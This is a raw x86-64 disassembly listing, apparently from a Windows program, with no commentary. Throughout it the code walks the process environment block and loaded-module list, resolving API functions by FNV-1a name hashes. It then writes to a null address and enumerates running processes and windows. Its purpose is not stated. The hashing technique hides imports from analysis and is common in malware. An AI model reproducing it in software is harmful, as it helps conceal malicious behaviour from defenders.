cmp edx, edi
jne 0x140141868
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140141868
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140141868
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r14 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, r15d
jmp 0x1401417e5
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401417da
cmp edx, dword [rsp + 0x4c]
je 0x1401417fc
test r11d, r11d
jne 0x1401417c7
jmp 0x140141868
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140141880
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x140141880
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x4c], ecx
jmp 0x14014183e
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140141830
inc rbx
mov al, byte [rbx]
test al, al
je 0x140141865
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x14014184d
mov dword [rsp + 0x4c], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x14014187d
cmp qword [rax + 0x30], r12
jne 0x14014174e
mov rbx, r12
mov qword [0x140319e48], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x140319e40]
test rdx, rdx
jne 0x1401419f7
mov edi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, r13w
test edi, edi
je 0x140141903
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r15d
jmp 0x1401418f6
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401418e7
cmp edx, edi
jne 0x1401419d8
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401419d8
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401419d8
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r14 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, r15d
jmp 0x140141955
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014194a
cmp edx, dword [rsp + 0x50]
je 0x14014196c
test r11d, r11d
jne 0x140141937
jmp 0x1401419d8
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401419f0
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401419f0
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x50], ecx
jmp 0x1401419ae
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401419a0
inc rdx
mov al, byte [rdx]
test al, al
je 0x1401419d5
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1401419bd
mov dword [rsp + 0x50], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x1401419ed
cmp qword [rax + 0x30], r12
jne 0x1401418be
mov rdx, r12
mov qword [0x140319e40], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140319e38]
test rdx, rdx
jne 0x140141b5e
mov edi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, r13w
test edi, edi
je 0x140141a6a
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r15d
jmp 0x140141a5d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140141a4e
cmp edx, edi
jne 0x140141b3f
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140141b3f
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140141b3f
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r14]
add r8, r9
mov edx, r15d
jmp 0x140141abc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140141ab1
cmp edx, dword [rsp + 0x54]
je 0x140141ad3
test r11d, r11d
jne 0x140141a9e
jmp 0x140141b3f
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140141b57
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140141b57
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x54], ecx
jmp 0x140141b15
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140141b07
inc rdx
mov al, byte [rdx]
test al, al
je 0x140141b3c
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140141b24
mov dword [rsp + 0x54], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140141b54
cmp qword [rax + 0x30], r12
jne 0x140141a25
mov rdx, r12
mov qword [0x140319e38], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140319e30]
test rdx, rdx
jne 0x140141cc5
mov edi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, r13w
test edi, edi
je 0x140141bd1
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r15d
jmp 0x140141bc4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140141bb5
cmp edx, edi
jne 0x140141ca6
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140141ca6
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140141ca6
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r14 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, r15d
jmp 0x140141c23
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140141c18
cmp edx, dword [rsp + 0x58]
je 0x140141c3a
test r11d, r11d
jne 0x140141c05
jmp 0x140141ca6
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140141cbe
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140141cbe
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x58], ecx
jmp 0x140141c7c
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140141c6e
inc rdx
mov al, byte [rdx]
test al, al
je 0x140141ca3
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140141c8b
mov dword [rsp + 0x58], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140141cbb
cmp qword [rax + 0x30], r12
jne 0x140141b8c
mov rdx, r12
mov qword [0x140319e30], rdx
xor ecx, ecx
call rdx
cmp qword [0x140319e28], r12
jne 0x140141e2c
mov edi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, r13w
test edi, edi
je 0x140141d35
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r15d
jmp 0x140141d28
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140141d19
cmp edx, edi
jne 0x140141e0d
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140141e0d
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140141e0d
mov r14d, dword [r11 + 0x20]
dec r9d
lea rdx, [r14 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, r15d
jmp 0x140141d87
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140141d7c
cmp edx, dword [rsp + 0x5c]
je 0x140141d9e
test r9d, r9d
jne 0x140141d69
jmp 0x140141e0d
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140141e25
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x140141e25
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x5c], ecx
jmp 0x140141de0
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x140141dd2
inc r9
mov al, byte [r9]
test al, al
je 0x140141e0a
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x140141df1
mov dword [rsp + 0x5c], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140141e22
cmp qword [rax + 0x30], r12
jne 0x140141cf0
mov r9, r12
mov qword [0x140319e28], r9
mov r8, qword [0x140319e58]
test r8, r8
jne 0x140141e9e
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
cmp rcx, r9
je 0x140141e83
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140141e67
cmp edx, 0x610c0de3
je 0x140141eed
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x140141e94
cmp qword [rax + 0x30], r12
jne 0x140141e4f
mov r8, r12
mov qword [0x140319e58], r8
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
mov r10d, r12d
mov r11d, dword [r9 + r8 + 0x20]
mov eax, r10d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, r15d
mov al, byte [rdx]
inc rdx
test al, al
je 0x140141ee8
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x140141ecc
cmp ecx, 0xe463da3c
je 0x140141ef3
inc r10d
jmp 0x140141eb2
mov r8, qword [r8 + 0x30]
jmp 0x140141e97
mov edx, dword [r9 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + r8 + 0x24]
add rcx, r8
mov eax, r10d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r14, rax
mov r10, qword [0x1403192c0]
test r10, r10
jne 0x140142091
mov edi, r12d
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, r13w
test edi, edi
je 0x140141f86
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r15d
jmp 0x140141f79
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140141f6a
cmp edx, edi
jne 0x14014206c
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14014206c
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14014206c
mov r15d, dword [r11 + 0x20]
dec r10d
lea rdx, [r15 + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140141fda
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140141fcf
cmp edx, dword [rsp + 0x60]
je 0x140141ff7
test r10d, r10d
jne 0x140141fba
mov r15d, 0x811c9dc5
jmp 0x14014206c
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140142084
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140142084
mov r15d, 0x811c9dc5
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x60], ecx
jmp 0x14014203f
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x140142031
inc r10
mov al, byte [r10]
test al, al
je 0x140142069
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x140142050
mov dword [rsp + 0x60], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140142081
cmp qword [rax + 0x30], r12
jne 0x140141f41
mov r10, r12
mov qword [0x1403192c0], r10
mov r15d, 0x811c9dc5
lea r9, [rbp + 0x220]
mov edx, 0x5000
mov r8d, 1
mov rcx, r14
call r10
mov r8, qword [0x140319e50]
test r8, r8
jne 0x14014221d
mov edi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, r13w
test edi, edi
je 0x140142118
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r15d
jmp 0x14014210b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401420fc
cmp edx, edi
jne 0x1401421fe
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401421fe
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401421fe
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014216c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140142161
cmp edx, dword [rsp + 0x64]
je 0x140142189
test r11d, r11d
jne 0x14014214c
mov r15d, 0x811c9dc5
jmp 0x1401421fe
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x140142216
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x140142216
mov r15d, 0x811c9dc5
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x64], ecx
jmp 0x1401421d1
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x1401421c3
inc r8
mov al, byte [r8]
test al, al
je 0x1401421fb
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x1401421e2
mov dword [rsp + 0x64], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140142213
cmp qword [rax + 0x30], r12
jne 0x1401420d3
mov r8, r12
mov qword [0x140319e50], r8
mov edx, 0x5000
mov rcx, r14
call r8
mov qword [0], 0x99
lea r8, [rbp + 0x208]
mov edx, 0x1000
lea rcx, [rbp + 0x350]
call sub.KERNEL32.dll_K32EnumProcesses
test eax, eax
je 0x140142277
mov eax, dword [rbp + 0x208]
shr eax, 2
test eax, eax
je 0x140142277
lea rbx, [rbp + 0x350]
mov edi, eax
mov ecx, dword [rbx]
call fcn.14015d948
lea rbx, [rbx + 4]
sub rdi, 1
jne 0x140142266
xor edx, edx
lea rcx, [0x140131734]
call qword [sym.imp.USER32.dll_EnumWindows]
nop
mov rax, qword [rbp + 0x1f0]
movabs rcx, 0xff00ff00ff00ff07
xor rax, rcx
lea rcx, [rbp + 0x1388]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x1350]
xor rcx, rsp
call fcn.1401cb920
lea r11, [rsp + 0x1460]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret